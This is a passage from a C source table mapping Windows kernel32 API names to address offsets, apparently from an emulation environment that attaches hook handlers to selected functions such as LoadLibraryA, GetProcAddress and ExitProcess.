{"DebugBreakProcess", 0x0005A176, NULL, NULL}, {"DebugSetProcessKillOnExit", 0x0005A19D, NULL, NULL}, {"DecodePointer", 0x00008F88, NULL, NULL}, {"DecodeSystemPointer", 0x00008F9F, NULL, NULL}, {"DefineDosDeviceA", 0x0005C2C5, NULL, NULL}, {"DefineDosDeviceW", 0x00021F1E, NULL, NULL}, {"DelayLoadFailureHook", 0x0007DEAD, NULL, NULL}, {"DeleteAtom", 0x00032695, NULL, NULL}, {"DeleteCriticalSection", 0x00008FBC, NULL, NULL}, {"DeleteFiber", 0x0002FE84, NULL, NULL}, {"DeleteFileA", 0x00031EAB, env_w32_hook_DeleteFileA }, {"DeleteFileW", 0x00031F31, NULL, NULL}, {"DeleteTimerQueue", 0x00062DC3, NULL, NULL}, {"DeleteTimerQueueEx", 0x00062D7C, NULL, NULL}, {"DeleteTimerQueueTimer", 0x00021130, NULL, NULL}, {"DeleteVolumeMountPointA", 0x0006A0DE, NULL, NULL}, {"DeleteVolumeMountPointW", 0x00069930, NULL, NULL}, {"DeviceIoControl", 0x00001625, NULL, NULL}, {"DisableThreadLibraryCalls", 0x00011296, NULL, NULL}, {"DisconnectNamedPipe", 0x0001269F, NULL, NULL}, {"DnsHostnameToComputerNameA", 0x000585CF, NULL, NULL}, {"DnsHostnameToComputerNameW", 0x0002CEB2, NULL, NULL}, {"DosDateTimeToFileTime", 0x0003214E, NULL, NULL}, {"DosPathToSessionPathA", 0x00061799, NULL, NULL}, {"DosPathToSessionPathW", 0x0002C1E7, NULL, NULL}, {"DuplicateConsoleHandle", 0x0001DD4D, NULL, NULL}, {"DuplicateHandle", 0x0000DDFE, NULL, NULL}, {"EncodePointer", 0x00008FDB, NULL, NULL}, {"EncodeSystemPointer", 0x00008FF2, NULL, NULL}, {"EndUpdateResourceA", 0x0006F949, NULL, NULL}, {"EndUpdateResourceW", 0x0006F774, NULL, NULL}, {"EnterCriticalSection", 0x0000900F, NULL, NULL}, {"EnumCalendarInfoA", 0x00038211, NULL, NULL}, {"EnumCalendarInfoExA", 0x00075749, NULL, NULL}, {"EnumCalendarInfoExW", 0x0007877D, NULL, NULL}, {"EnumCalendarInfoW", 0x0007875A, NULL, NULL}, {"EnumDateFormatsA", 0x0007578A, NULL, NULL}, {"EnumDateFormatsExA", 0x000757AA, NULL, NULL}, {"EnumDateFormatsExW", 0x000787A0, NULL, NULL}, {"EnumDateFormatsW", 0x000387E1, NULL, NULL}, {"EnumLanguageGroupLocalesA", 0x000757E8, NULL, NULL}, {"EnumLanguageGroupLocalesW", 0x00078703, NULL, NULL}, {"EnumResourceLanguagesA", 0x0002E000, NULL, NULL}, {"EnumResourceLanguagesW", 0x0005F631, NULL, NULL}, {"EnumResourceNamesA", 0x0005F229, NULL, NULL}, {"EnumResourceNamesW", 0x00055709, NULL, NULL}, {"EnumResourceTypesA", 0x0005F03C, NULL, NULL}, {"EnumResourceTypesW", 0x0005F449, NULL, NULL}, {"EnumSystemCodePagesA", 0x00075827, NULL, NULL}, {"EnumSystemCodePagesW", 0x0007873F, NULL, NULL}, {"EnumSystemGeoID", 0x00078BD9, NULL, NULL}, {"EnumSystemLanguageGroupsA", 0x000757CA, NULL, NULL}, {"EnumSystemLanguageGroupsW", 0x000786E5, NULL, NULL}, {"EnumSystemLocalesA", 0x00037CE1, NULL, NULL}, {"EnumSystemLocalesW", 0x00078724, NULL, NULL}, {"EnumTimeFormatsA", 0x0007576C, NULL, NULL}, {"EnumTimeFormatsW", 0x000388BE, NULL, NULL}, {"EnumUILanguagesA", 0x00075809, NULL, NULL}, {"EnumUILanguagesW", 0x0002A8DC, NULL, NULL}, {"EnumerateLocalComputerNamesA", 0x00058523, NULL, NULL}, {"EnumerateLocalComputerNamesW", 0x000583A3, NULL, NULL}, {"EraseTape", 0x0006B11B, NULL, NULL}, {"EscapeCommFunction", 0x0006578E, NULL, NULL}, {"ExitProcess", 0x0001CDDA, env_w32_hook_ExitProcess, NULL}, {"ExitThread", 0x0000C058, env_w32_hook_ExitThread, NULL}, {"ExitVDM", 0x00067695, NULL, NULL}, {"ExpandEnvironmentStringsA", 0x000329D9, NULL, NULL}, {"ExpandEnvironmentStringsW", 0x000305F6, NULL, NULL}, {"ExpungeConsoleCommandHistoryA", 0x00070627, NULL, NULL}, {"ExpungeConsoleCommandHistoryW", 0x0007060F, NULL, NULL}, {"ExtendVirtualBuffer", 0x0005EBF4, NULL, NULL}, {"FatalAppExitA", 0x00060CF8, NULL, NULL}, {"FatalAppExitW", 0x00060CAA, NULL, NULL}, {"FatalExit", 0x00060D46, NULL, NULL}, {"FileTimeToDosDateTime", 0x0003065D, NULL, NULL}, {"FileTimeToLocalFileTime", 0x0000E866, NULL, NULL}, {"FileTimeToSystemTime", 0x0000E7EC, NULL, NULL}, {"FillConsoleOutputAttribute", 0x00073044, NULL, NULL}, {"FillConsoleOutputCharacterA", 0x00072FF9, NULL, NULL}, {"FillConsoleOutputCharacterW", 0x00073020, NULL, NULL}, {"FindActCtxSectionGuid", 0x00030F21, NULL, NULL}, {"FindActCtxSectionStringA", 0x0006BB0F, NULL, NULL}, {"FindActCtxSectionStringW", 0x0002FD4C, NULL, NULL}, {"FindAtomA", 0x00030CFE, NULL, NULL}, {"FindAtomW", 0x0002F827, NULL, NULL}, {"FindClose", 0x0000EDD7, NULL, NULL}, {"FindCloseChangeNotification", 0x000357D5, NULL, NULL}, {"FindFirstChangeNotificationA", 0x0005C4AB, NULL, NULL}, {"FindFirstChangeNotificationW", 0x00034BEF, NULL, NULL}, {"FindFirstFileA", 0x000137D9, NULL, NULL}, {"FindFirstFileExA", 0x0005C512, NULL, NULL}, {"FindFirstFileExW", 0x0000EA7D, NULL, NULL}, {"FindFirstFileW", 0x0000EEE1, NULL, NULL}, {"FindFirstVolumeA", 0x0006A259, NULL, NULL}, {"FindFirstVolumeMountPointA", 0x00069D19, NULL, NULL}, {"FindFirstVolumeMountPointW", 0x00068DB1, NULL, NULL}, {"FindFirstVolumeW", 0x0002D2AF, NULL, NULL}, {"FindNextChangeNotification", 0x00032113, NULL, NULL}, {"FindNextFileA", 0x00034EB1, NULL, NULL}, {"FindNextFileW", 0x0000EF3A, NULL, NULL}, {"FindNextVolumeA", 0x00069BFF, NULL, NULL}, {"FindNextVolumeMountPointA", 0x00069E49, NULL, NULL}, {"FindNextVolumeMountPointW", 0x0006905D, NULL, NULL}, {"FindNextVolumeW", 0x0002CF9B, NULL, NULL}, {"FindResourceA", 0x0000BE89, NULL, NULL}, {"FindResourceExA", 0x00035F78, NULL, NULL}, {"FindResourceExW", 0x0000AC88, NULL, NULL}, {"FindResourceW", 0x0000BBCE, NULL, NULL}, {"FindVolumeClose", 0x0002CF60, NULL, NULL}, {"FindVolumeMountPointClose", 0x000357D5, NULL, NULL}, {"FlushConsoleInputBuffer", 0x00073B1C, NULL, NULL}, {"FlushFileBuffers", 0x00012641, NULL, NULL}, {"FlushInstructionCache", 0x000355BC, NULL, NULL}, {"FlushViewOfFile", 0x00035971, NULL, NULL}, {"FoldStringA", 0x00075EB1, NULL, NULL}, {"FoldStringW", 0x00079636, NULL, NULL}, {"FormatMessageA", 0x0002F7A0, NULL, NULL}, {"FormatMessageW", 0x00034B8F, NULL, NULL}, {"FreeConsole", 0x0007108D, NULL, NULL}, {"FreeEnvironmentStringsA", 0x0001DF77, NULL, NULL}, {"FreeEnvironmentStringsW", 0x00014AE7, NULL, NULL}, {"FreeLibrary", 0x0000ABDE, NULL, NULL}, {"FreeLibraryAndExitThread", 0x0000C170, NULL, NULL}, {"FreeResource", 0x000260C2, NULL, NULL}, {"FreeUserPhysicalPages", 0x0005E740, NULL, NULL}, {"FreeVirtualBuffer", 0x00034B69, NULL, NULL}, {"GenerateConsoleCtrlEvent", 0x00073A21, NULL, NULL}, {"GetACP", 0x00009915, NULL, NULL}, {"GetAtomNameA", 0x0005B2AB, NULL, NULL}, {"GetAtomNameW", 0x000330E7, NULL, NULL}, {"GetBinaryType", 0x0006802B, NULL, NULL}, {"GetBinaryTypeA", 0x0006802B, NULL, NULL}, {"GetBinaryTypeW", 0x00067BCC, NULL, NULL}, {"GetCPFileNameFromRegistry", 0x000384DB, NULL, NULL}, {"GetCPInfo", 0x00012E76, NULL, NULL}, {"GetCPInfoExA", 0x00076047, NULL, NULL}, {"GetCPInfoExW", 0x0007A1CD, NULL, NULL}, {"GetCalendarInfoA", 0x0007596B, NULL, NULL}, {"GetCalendarInfoW", 0x00039020, NULL, NULL}, {"GetComPlusPackageInstallStatus", 0x0006BBA2, NULL, NULL}, {"GetCommConfig", 0x00066D09, NULL, NULL}, {"GetCommMask", 0x0006588A, NULL, NULL}, {"GetCommModemStatus", 0x00065913, NULL, NULL}, {"GetCommProperties", 0x0006599C, NULL, NULL}, {"GetCommState", 0x00065A54, NULL, NULL}, {"GetCommTimeouts", 0x00022128, NULL, NULL}, {"GetCommandLineA", 0x00012F1D, NULL, NULL}, {"GetCommandLineW", 0x00016F83, NULL, NULL}, {"GetCompressedFileSizeA", 0x0005D499, NULL, NULL}, {"GetCompressedFileSizeW", 0x0005D371, NULL, NULL}, {"GetComputerNameA", 0x000216A4, NULL, NULL}, {"GetComputerNameExA", 0x000582A7, NULL, NULL}, {"GetComputerNameExW", 0x000201F1, NULL, NULL}, {"GetComputerNameW", 0x000316C7, NULL, NULL}, {"GetConsoleAliasA", 0x000700B2, NULL, NULL}, {"GetConsoleAliasExesA", 0x0007054C, NULL, NULL}, {"GetConsoleAliasExesLengthA", 0x00070252, NULL, NULL}, {"GetConsoleAliasExesLengthW", 0x00070245, NULL, NULL}, {"GetConsoleAliasExesW", 0x00070531, NULL, NULL}, {"GetConsoleAliasW", 0x00070086, NULL, NULL}, {"GetConsoleAliasesA", 0x000703E7, NULL, NULL}, {"GetConsoleAliasesLengthA", 0x000701B9, NULL, NULL}, {"GetConsoleAliasesLengthW", 0x000701A1, NULL, NULL}, {"GetConsoleAliasesW", 0x000703C9, NULL, NULL}, {"GetConsoleCP", 0x000740D3, NULL, NULL}, {"GetConsoleCharType", 0x000751A3, NULL, NULL}, {"GetConsoleCommandHistoryA", 0x000709A7, NULL, NULL}, {"GetConsoleCommandHistoryLengthA", 0x00070805, NULL, NULL}, {"GetConsoleCommandHistoryLengthW", 0x000707ED, NULL, NULL}, {"GetConsoleCommandHistoryW", 0x00070989, NULL, NULL}, {"GetConsoleCursorInfo", 0x00073561, NULL, NULL}, {"GetConsoleCursorMode", 0x000747FF, NULL, NULL}, {"GetConsoleDisplayMode", 0x00037C53, NULL, NULL}, {"GetConsoleFontInfo", 0x00073799, NULL, NULL}, {"GetConsoleFontSize", 0x000738C1, NULL, NULL}, {"GetConsoleHardwareState", 0x00071C19, NULL, NULL}, {"GetConsoleInputExeNameA", 0x00070CFC, NULL, NULL}, {"GetConsoleInputExeNameW", 0x00070AD1, NULL, NULL}, {"GetConsoleInputWaitHandle", 0x000715F9, NULL, NULL}, {"GetConsoleKeyboardLayoutNameA", 0x00074329, NULL, NULL}, {"GetConsoleKeyboardLayoutNameW", 0x00074341, NULL, NULL}, {"GetConsoleMode", 0x0001AF14, NULL, NULL}, {"GetConsoleNlsMode", 0x00074F87, NULL, NULL}, {"GetConsoleOutputCP", 0x0001B18F, NULL, NULL}, {"GetConsoleProcessList", 0x000743C5, NULL, NULL}, {"GetConsoleScreenBufferInfo", 0x0001BC2B, NULL, NULL}, {"GetConsoleSelectionInfo", 0x00073629, NULL, NULL}, {"GetConsoleTitleA", 0x00070A39, NULL, NULL}, {"GetConsoleTitleW", 0x0001BA3C, NULL, NULL}, {"GetConsoleWindow", 0x00074359, NULL, NULL}, {"GetCurrencyFormatA", 0x00075B79, NULL, NULL}, {"GetCurrencyFormatW", 0x0007B6CA, NULL, NULL}, {"GetCurrentActCtx", 0x000300A9, NULL, NULL}, {"GetCurrentConsoleFont", 0x0007394F, NULL, NULL}, {"GetCurrentDirectoryA", 0x00034FFE, NULL, NULL}, {"GetCurrentDirectoryW", 0x0000B877, NULL, NULL}, {"GetCurrentProcess", 0x0000DDF5, NULL, NULL}, {"GetCurrentProcessId", 0x00009920, NULL, NULL}, {"GetCurrentThread", 0x000098EB, NULL, NULL}, {"GetCurrentThreadId", 0x00009728, NULL, NULL}, {"GetDateFormatA", 0x000361EE, NULL, NULL}, {"GetDateFormatW", 0x00033775, NULL, NULL}, {"GetDefaultCommConfigA", 0x00066A41, NULL, NULL}, {"GetDefaultCommConfigW", 0x00066949, NULL, NULL}, {"GetDefaultSortkeySize", 0x0007AA41, NULL, NULL}, {"GetDevicePowerState", 0x00060B1C, NULL, NULL}, {"GetDiskFreeSpaceA", 0x000302ED, NULL, NULL}, {"GetDiskFreeSpaceExA", 0x0003039B, NULL, NULL}, {"GetDiskFreeSpaceExW", 0x00012803, NULL, NULL}, {"GetDiskFreeSpaceW", 0x000301AF, NULL, NULL}, {"GetDllDirectoryA", 0x0005EF47, NULL, NULL}, {"GetDllDirectoryW", 0x0005EDD7, NULL, NULL}, {"GetDriveTypeA", 0x000214E3, NULL, NULL}, {"GetDriveTypeW", 0x0000B2D0, NULL, NULL}, {"GetEnvironmentStrings", 0x0001CF5B, NULL, NULL}, {"GetEnvironmentStringsA", 0x0001CF5B, NULL, NULL}, {"GetEnvironmentStringsW", 0x00012F08, NULL, NULL}, {"GetEnvironmentVariableA", 0x00014AF2, NULL, NULL}, {"GetEnvironmentVariableW", 0x0000F0F4, NULL, NULL}, {"GetExitCodeProcess", 0x0001AE17, NULL, NULL}, {"GetExitCodeThread", 0x00021435, NULL, NULL}, {"GetExpandedNameA", 0x00064BCF, NULL, NULL}, {"GetExpandedNameW", 0x00064C7C, NULL, NULL}, {"GetFileAttributesA", 0x0001153C, NULL, NULL}, {"GetFileAttributesExA", 0x000137B1, NULL, NULL}, {"GetFileAttributesExW", 0x000110F5, NULL, NULL}, {"GetFileAttributesW", 0x0000B74C, NULL, NULL}, {"GetFileInformationByHandle", 0x00010C6D, NULL, NULL}, {"GetFileSize", 0x00010A77, env_w32_hook_GetFileSize, NULL}, {"GetFileSizeEx", 0x00010A09, NULL, NULL}, {"GetFileTime", 0x00031C45, NULL, NULL}, {"GetFileType", 0x00010E51, NULL, NULL}, {"GetFirmwareEnvironmentVariableA", 0x0005E534, NULL, NULL}, {"GetFirmwareEnvironmentVariableW", 0x0005E41D, NULL, NULL}, {"GetFullPathNameA", 0x000138FC, NULL, NULL}, {"GetFullPathNameW", 0x0000B852, NULL, NULL}, {"GetGeoInfoA", 0x00075842, NULL, NULL}, {"GetGeoInfoW", 0x00078847, NULL, NULL}, {"GetHandleContext", 0x0006B683, NULL, NULL}, {"GetHandleInformation", 0x0002BDB5, NULL, NULL}, {"GetLargestConsoleWindowSize", 0x00074631, NULL, NULL}, {"GetLastError", 0x0000902D, NULL, NULL}, {"GetLinguistLangSize", 0x0007AA6B, NULL, NULL}, {"GetLocalTime", 0x0000A7D4, NULL, NULL}, {"GetLocaleInfoA", 0x0000D262, NULL, NULL}, {"GetLocaleInfoW", 0x00011562, NULL, NULL}, {"GetLogicalDriveStringsA", 0x0002C2D3, NULL, NULL}, {"GetLogicalDriveStringsW", 0x000603CF, NULL, NULL}, {"GetLogicalDrives", 0x00030B14, NULL, NULL}, {"GetLongPathNameA", 0x00068586, NULL, NULL}, {"GetLongPathNameW", 0x00013353, NULL, NULL}, {"GetMailslotInfo", 0x0005EB58, NULL, NULL}, {"GetModuleFileNameA", 0x0000B4CF, NULL, NULL}, {"GetModuleFileNameW", 0x0000B3D5, NULL, NULL}, {"GetModuleHandleA", 0x0000B6A1, env_w32_hook_GetModuleHandleA, NULL}, {"GetModuleHandleExA", 0x0005EFE6, NULL, NULL}, {"GetModuleHandleExW", 0x0001FCC1, NULL, NULL}, {"GetModuleHandleW", 0x0000E43D, NULL, NULL}, {"GetNamedPipeHandleStateA", 0x0005FCEB, NULL, NULL}, {"GetNamedPipeHandleStateW", 0x0005FA85, NULL, NULL}, {"GetNamedPipeInfo", 0x0005F88A, NULL, NULL}, {"GetNativeSystemInfo", 0x00037945, NULL, NULL}, {"GetNextVDMCommand", 0x00066F43, NULL, NULL}, {"GetNlsSectionName", 0x00017F7D, NULL, NULL}, {"GetNumaAvailableMemory", 0x0005FFC4, NULL, NULL}, {"GetNumaAvailableMemoryNode", 0x0006000A, NULL, NULL}, {"GetNumaHighestNodeNumber", 0x0005FE41, NULL, NULL}, {"GetNumaNodeProcessorMask", 0x0005FF19, NULL, NULL}, {"GetNumaProcessorMap", 0x0005FF7E, NULL, NULL}, {"GetNumaProcessorNode", 0x0005FE8C, NULL, NULL}, {"GetNumberFormatA", 0x0002EC56, NULL, NULL}, {"GetNumberFormatW", 0x000344BC, NULL, NULL}, {"GetNumberOfConsoleFonts", 0x00074501, NULL, NULL}, {"GetNumberOfConsoleInputEvents", 0x0007456D, NULL, NULL}, {"GetNumberOfConsoleMouseButtons", 0x000736E1, NULL, NULL}, {"GetOEMCP", 0x000127A7, NULL, NULL}, {"GetOverlappedResult", 0x000315C4, NULL, NULL}, {"GetPriorityClass", 0x00060E13, NULL, NULL}, {"GetPrivateProfileIntA", 0x00036434, NULL, NULL}, {"GetPrivateProfileIntW", 0x00032730, NULL, NULL}, {"GetPrivateProfileSectionA", 0x00035F21, NULL, NULL}, {"GetPrivateProfileSectionNamesA", 0x00032DA7, NULL, NULL}, {"GetPrivateProfileSectionNamesW", 0x0005BB0A, NULL, NULL}, {"GetPrivateProfileSectionW", 0x0001EDBD, NULL, NULL}, {"GetPrivateProfileStringA", 0x00032B56, NULL, NULL}, {"GetPrivateProfileStringW", 0x0000F95D, NULL, NULL}, {"GetPrivateProfileStructA", 0x0005BB2B, NULL, NULL}, {"GetPrivateProfileStructW", 0x0005BC95, NULL, NULL}, {"GetProcAddress", 0x0000ADA0, env_w32_hook_GetProcAddress, NULL}, {"GetProcessAffinityMask", 0x00021765, NULL, NULL}, {"GetProcessHandleCount", 0x00061186, NULL, NULL}, {"GetProcessHeap", 0x0000ABC1, NULL, NULL}, {"GetProcessHeaps", 0x0005E9DB, NULL, NULL}, {"GetProcessId", 0x00060C75, NULL, NULL}, {"GetProcessIoCounters", 0x00061155, NULL, NULL}, {"GetProcessPriorityBoost", 0x0006111B, NULL, NULL}, {"GetProcessShutdownParameters", 0x00060E79, NULL, NULL}, {"GetProcessTimes", 0x000352D9, NULL, NULL}, {"GetProcessVersion", 0x00012C23, NULL, NULL}, {"GetProcessWorkingSetSize", 0x00061068, NULL, NULL}, {"GetProfileIntA", 0x000364A9, NULL, NULL}, {"GetProfileIntW", 0x0002F89A, NULL, NULL}, {"GetProfileSectionA", 0x0005C0D7, NULL, NULL}, {"GetProfileSectionW", 0x0005C110, NULL, NULL}, {"GetProfileStringA", 0x00021495, NULL, NULL}, {"GetProfileStringW", 0x000213F8, NULL, NULL}, {"GetQueuedCompletionStatus", 0x0000A71D, NULL, NULL}, {"GetShortPathNameA", 0x00035BB0, NULL, NULL}, {"GetShortPathNameW", 0x0001F26E, NULL, NULL}, {"GetStartupInfoA", 0x00001EEE, NULL, NULL}, {"GetStartupInfoW", 0x00001E50, NULL, NULL}, {"GetStdHandle", 0x00012F39, NULL, NULL}, {"GetStringTypeA", 0x00038A0C, NULL, NULL}, {"GetStringTypeExA", 0x000760CF, NULL, NULL}, {"GetStringTypeExW", 0x0000BFEF, NULL, NULL}, {"GetStringTypeW", 0x0000A490, NULL, NULL}, {"GetSystemDefaultLCID", 0x0000BF3D, NULL, NULL}, {"GetSystemDefaultLangID", 0x000127B2, NULL, NULL}, {"GetSystemDefaultUILanguage", 0x00013038, NULL, NULL}, {"GetSystemDirectoryA", 0x00014EEA, env_w32_hook_GetSystemDirectoryA }, {"GetSystemDirectoryW", 0x00031DB9, NULL, NULL}, {"GetSystemInfo", 0x00012D56, NULL, NULL}, {"GetSystemPowerStatus", 0x00035340, NULL, NULL}, {"GetSystemRegistryQuota", 0x000611C0, NULL, NULL}, {"GetSystemTime", 0x0000176B, NULL, NULL}, {"GetSystemTimeAdjustment", 0x0002D36F, NULL, NULL}, {"GetSystemTimeAsFileTime", 0x000017E5, NULL, NULL}, {"GetSystemTimes", 0x00060F22, NULL, NULL}, {"GetSystemWindowsDirectoryA", 0x000212F1, NULL, NULL}, {"GetSystemWindowsDirectoryW", 0x0000AD29, NULL, NULL}, {"GetSystemWow64DirectoryA", 0x0002146C, NULL, NULL}, {"GetSystemWow64DirectoryW", 0x0002146C, NULL, NULL}, {"GetTapeParameters", 0x0006B1C2, NULL, NULL}, {"GetTapePosition", 0x0006B08C, NULL, NULL}, {"GetTapeStatus", 0x0006B25F, NULL, NULL}, {"GetTempFileNameA", 0x000608FF, NULL, NULL}, {"GetTempFileNameW", 0x000359B7, NULL, NULL}, {"GetTempPathA", 0x00035DCA, env_w32_hook_GetTempPathA, NULL}, {"GetTempPathW", 0x00030789, NULL, NULL}, {"GetThreadContext", 0x0003970D, NULL, NULL}, {"GetThreadIOPendingFlag", 0x00062D09, NULL, NULL}, {"GetThreadLocale", 0x0000A415, NULL, NULL}, {"GetThreadPriority", 0x0000A793, NULL, NULL}, {"GetThreadPriorityBoost", 0x00062A6B, NULL, NULL}, {"GetThreadSelectorEntry", 0x0005A1E8, NULL, NULL}, {"GetThreadTimes", 0x00062C9C, NULL, NULL}, {"GetTickCount", 0x0000929C, env_w32_hook_GetTickCount, NULL}, {"GetTimeFormatA", 0x0003632D, NULL, NULL}, {"GetTimeFormatW", 0x00033FD3, NULL, NULL}, {"GetTimeZoneInformation", 0x000350BF, NULL, NULL}, {"GetUserDefaultLCID", 0x00009F10, NULL, NULL}, {"GetUserDefaultLangID", 0x0000BF64, NULL, NULL}, {"GetUserDefaultUILanguage", 0x00013070, NULL, NULL}, {"GetUserGeoID", 0x0003798E, NULL, NULL}, {"GetVDMCurrentDirectories", 0x00067849, NULL, NULL}, {"GetVersion", 0x000111DA, env_w32_hook_GetVersion, NULL}, {"GetVersionExA", 0x00012ADE, NULL, NULL}, {"GetVersionExW", 0x0000AE65, NULL, NULL}, {"GetVolumeInformationA", 0x00021BA5, NULL, NULL}, {"GetVolumeInformationW", 0x0000F9E5, NULL, NULL}, {"GetVolumeNameForVolumeMountPointA", 0x00069F61, NULL, NULL}, {"GetVolumeNameForVolumeMountPointW", 0x0001FB88, NULL, NULL}, {"GetVolumePathNameA", 0x0002E8B2, NULL, NULL}, {"GetVolumePathNameW", 0x0002E61C, NULL, NULL}, {"GetVolumePathNamesForVolumeNameA", 0x0006A100, NULL, NULL}, {"GetVolumePathNamesForVolumeNameW", 0x00020D14, NULL, NULL}, {"GetWindowsDirectoryA", 0x00021363, NULL, NULL}, {"GetWindowsDirectoryW", 0x0000AD7B, NULL, NULL}, {"GetWriteWatch", 0x0005E7CA, NULL, NULL}, {"GlobalAddAtomA", 0x000360A9, NULL, NULL}, {"GlobalAddAtomW", 0x0001006C, NULL, NULL}, {"GlobalAlloc", 0x0000FD2D, NULL, NULL}, {"GlobalCompact", 0x0005E670, NULL, NULL}, {"GlobalDeleteAtom", 0x00030BBB, NULL, NULL}, {"GlobalFindAtomA", 0x000360C3, NULL, NULL}, {"GlobalFindAtomW", 0x00034E97, NULL, NULL}, {"GlobalFix", 0x0005E686, NULL, NULL}, {"GlobalFlags", 0x00036772, NULL, NULL}, {"GlobalFree", 0x0000FC2F, NULL, NULL}, {"GlobalGetAtomNameA", 0x0005B28B, NULL, NULL}, {"GlobalGetAtomNameW", 0x0002C3BE, NULL, NULL}, {"GlobalHandle", 0x00034CB9, NULL, NULL}, {"GlobalLock", 0x0000FF19, NULL, NULL}, {"GlobalMemoryStatus", 0x000310F2, NULL, NULL}, {"GlobalMemoryStatusEx", 0x0001F992, NULL, NULL}, {"GlobalReAlloc", 0x000123B9, NULL, NULL}, {"GlobalSize", 0x00034DA1, NULL, NULL}, {"GlobalUnWire", 0x0005E6CA, NULL, NULL}, {"GlobalUnfix", 0x0005E6A0, NULL, NULL}, {"GlobalUnlock", 0x0000FE82, NULL, NULL}, {"GlobalWire", 0x0005E6BA, NULL, NULL}, {"Heap32First", 0x00063ADE, NULL, NULL}, {"Heap32ListFirst", 0x00063999, NULL, NULL}, {"Heap32ListNext", 0x00063A47, NULL, NULL}, {"Heap32Next", 0x00063BF8, NULL, NULL}, {"HeapAlloc", 0x00009048, NULL, NULL}, {"HeapCompact", 0x0003611E, NULL, NULL}, {"HeapCreate", 0x00012BB6, NULL, NULL}, {"HeapCreateTagsW", 0x0005E8C9, NULL, NULL}, {"HeapDestroy", 0x00010EF8, NULL, NULL}, {"HeapExtend", 0x0005E898, NULL, NULL}, {"HeapFree", 0x0000905E, NULL, NULL}, {"HeapLock", 0x0005E9EC, NULL, NULL}, {"HeapQueryInformation", 0x0005EB25, NULL, NULL}, {"HeapQueryTagW", 0x0005E8DA, NULL, NULL}, {"HeapReAlloc", 0x00009070, NULL, NULL}, {"HeapSetInformation", 0x00039469, NULL, NULL}, {"HeapSize", 0x00009088, NULL, NULL}, {"HeapSummary", 0x0005E8EB, NULL, NULL}, {"HeapUnlock", 0x0005EA06, NULL, NULL}, {"HeapUsage", 0x0005E947, NULL, NULL}, {"HeapValidate", 0x0005E9BB, NULL, NULL}, {"HeapWalk", 0x0005EA20, NULL, NULL}, {"InitAtomTable", 0x0002AF8F, NULL, NULL}, {"InitializeCriticalSection", 0x00009EF1, NULL, NULL}, {"InitializeCriticalSectionAndSpinCount", 0x0000B829, NULL, NULL}, {"InitializeSListHead", 0x0000909A, NULL, NULL}, {"InterlockedCompareExchange", 0x000097A2, NULL, NULL}, {"InterlockedDecrement", 0x0000977A, NULL, NULL}, {"InterlockedExchange", 0x0000978E, NULL, NULL}, {"InterlockedExchangeAdd", 0x000097B6, NULL, NULL}, {"InterlockedFlushSList", 0x000090B7, NULL, NULL}, {"InterlockedIncrement", 0x00009766, NULL, NULL}, {"InterlockedPopEntrySList", 0x000090D6, NULL, NULL}, {"InterlockedPushEntrySList", 0x000090F8, NULL, NULL}, {"InvalidateConsoleDIBits", 0x00073215, NULL, NULL}, {"IsBadCodePtr", 0x0000BCCF, NULL, NULL}, {"IsBadHugeReadPtr", 0x0003593F, NULL, NULL}, {"IsBadHugeWritePtr", 0x0000BF9D, NULL, NULL}, {"IsBadReadPtr", 0x00009E01, NULL, NULL}, {"IsBadStringPtrA", 0x00032259, NULL, NULL}, {"IsBadStringPtrW", 0x0000A5DC, NULL, NULL}, {"IsBadWritePtr", 0x00009E79, NULL, NULL}, {"IsDBCSLeadByte", 0x0000B7DC, NULL, NULL}, {"IsDBCSLeadByteEx", 0x0007A4CE, NULL, NULL}, {"IsDebuggerPresent", 0x00013093, NULL, NULL}, {"IsProcessInJob", 0x0006B324, NULL, NULL}, {"IsProcessorFeaturePresent", 0x0000AE2A, NULL, NULL}, {"IsSystemResumeAutomatic", 0x00060B60, NULL, NULL}, {"IsValidCodePage", 0x000110CB, NULL, NULL}, {"IsValidLanguageGroup", 0x000763EF, NULL, NULL}, {"IsValidLocale", 0x0001C48B, NULL, NULL}, {"IsValidUILanguage", 0x000764FB, NULL, NULL}, {"IsWow64Process", 0x00015199, NULL, NULL}, {"LCMapStringA", 0x00038DE8, NULL, NULL}, {"LCMapStringW", 0x0000CCA8, NULL, NULL}, {"LZClose", 0x000654BB, NULL, NULL}, {"LZCloseFile", 0x00065444, NULL, NULL}, {"LZCopy", 0x000592F8, NULL, NULL}, {"LZCreateFileW", 0x00064F85, NULL, NULL}, {"LZDone", 0x0007F1FC, NULL, NULL}, {"LZInit", 0x00064E2A, NULL, NULL}, {"LZOpenFileA", 0x00065053, NULL, NULL}, {"LZOpenFileW", 0x00065114, NULL, NULL}, {"LZRead", 0x00065236, NULL, NULL}, {"LZSeek", 0x000651AB, NULL, NULL}, {"LZStart", 0x0007E9E7, NULL, NULL}, {"LeaveCriticalSection", 0x0000911B, NULL, NULL}, {"LoadLibraryA", 0x00001D77, env_w32_hook_LoadLibrayA, NULL}, {"LoadLibraryExA", 0x00001D4F, NULL, NULL}, {"LoadLibraryExW", 0x00001AF1, NULL, NULL}, {"LoadLibraryW", 0x0000AE4B, NULL, NULL}, {"LoadModule", 0x0006147E, NULL, NULL}, {"LoadResource", 0x00009FB5, NULL, NULL}, {"LocalAlloc", 0x0000998D, NULL, NULL}, {"LocalCompact", 0x0005E670, NULL, NULL}, {"LocalFileTimeToFileTime", 0x00035524, NULL, NULL}, {"LocalFlags", 0x00055A0E, NULL, NULL}, {"LocalFree", 0x0000992F, NULL, NULL}, {"LocalHandle", 0x00055B09, NULL, NULL}, {"LocalLock", 0x00032E1D, NULL, NULL}, {"LocalReAlloc", 0x00030927, NULL, NULL}, {"LocalShrink", 0x0005E882, NULL, NULL}, {"LocalSize", 0x000325BC, NULL, NULL}, {"LocalUnlock", 0x00032EB1, NULL, NULL}, {"LockFile", 0x00032361, NULL, NULL}, {"LockFileEx", 0x0002F569, NULL, NULL}, {"LockResource", 0x0000CC97, NULL, NULL}, {"MapUserPhysicalPages", 0x0005E76E, NULL, NULL}, {"MapUserPhysicalPagesScatter", 0x0005E79C, NULL, NULL}, {"MapViewOfFile", 0x0000B905, env_w32_hook_MapViewOfFile, NULL}, {"MapViewOfFileEx", 0x0000B896, NULL, NULL}, {"Module32First", 0x00064268, NULL, NULL}, {"Module32FirstW", 0x000641AF, NULL, NULL}, {"Module32Next", 0x000643ED, NULL, NULL}, {"Module32NextW", 0x0006434C, NULL, NULL}, {"MoveFileA", 0x00035E8F, NULL, NULL}, {"MoveFileExA", 0x0005D4C3, NULL, NULL}, {"MoveFileExW", 0x0003565B, NULL, NULL}, {"MoveFileW", 0x00021261, NULL, NULL}, {"MoveFileWithProgressA", 0x00035EAE, 